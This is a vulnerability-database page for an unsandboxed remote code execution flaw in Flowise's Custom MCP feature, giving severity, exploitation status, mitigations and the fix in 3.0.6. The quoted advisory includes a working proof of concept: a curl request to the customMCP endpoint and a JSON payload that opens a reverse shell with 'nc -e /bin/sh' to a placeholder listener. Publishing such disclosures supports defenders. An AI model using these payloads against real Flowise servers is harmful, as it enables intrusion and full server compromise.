CVE-2025-71336: Flowise has unsandboxed remote code execution via Custom MCP
Affects flowiseSource GCVE Database
Not known to be exploited · CVSS 9.8 Critical : upgrade to 3.0.6 as a priority.
Data as of 3 Nov 2026, 18:29 UTC
- Patch
- Available – fixed in 3.0.6
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HExploitation evidence
Disclosed: evidence found.
CVE published 15 Sep 2025
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 3 Nov 2026.
What to do
Upgrade flowise to 3.0.6.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| npmflowise | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary The Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables. This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server. ### PoC 1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker 2. Create a new file named `payload.json` somewhere in your machine, with the following data: ``` {"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"} ``` 3. Send the following `curl` request using the `payload.json` file created above with the following command: ``` curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP" ``` 4. Observe that a new file named `yofitofi` is created under `/tmp` folder. Similarily, we can use the same technique to gain a reverse shell using the built-in `nc` utility with the following JSON payload: ``` {"inputs":{"mcpServerConfig":{"command": "nc","args": [ "<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh" ]}}, "loadMethod":"listActions"} ```  ### Impact Remote code execution ### Mitigation - Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform. - Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature. - Consider running Custom MCPs within a sandboxed environment ### Credit The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.
References
- github.com/FlowiseAI/Flowise/security/advisories/GHSA-6933-jpx5-q87q (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2025-71336 (opens in a new tab)
- github.com/FlowiseAI/Flowise/pull/5201 (opens in a new tab)
- github.com/FlowiseAI/Flowise/commit/ac7cf30e019cde54905bf09b5d3fe1c6ba42f9b9 (opens in a new tab)
- github.com/FlowiseAI/Flowise (opens in a new tab)
- github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6 (opens in a new tab)
- vulncheck.com/advisories/flowise-unsandboxed-remote-code-execution-via-custom-mcp (opens in a new tab)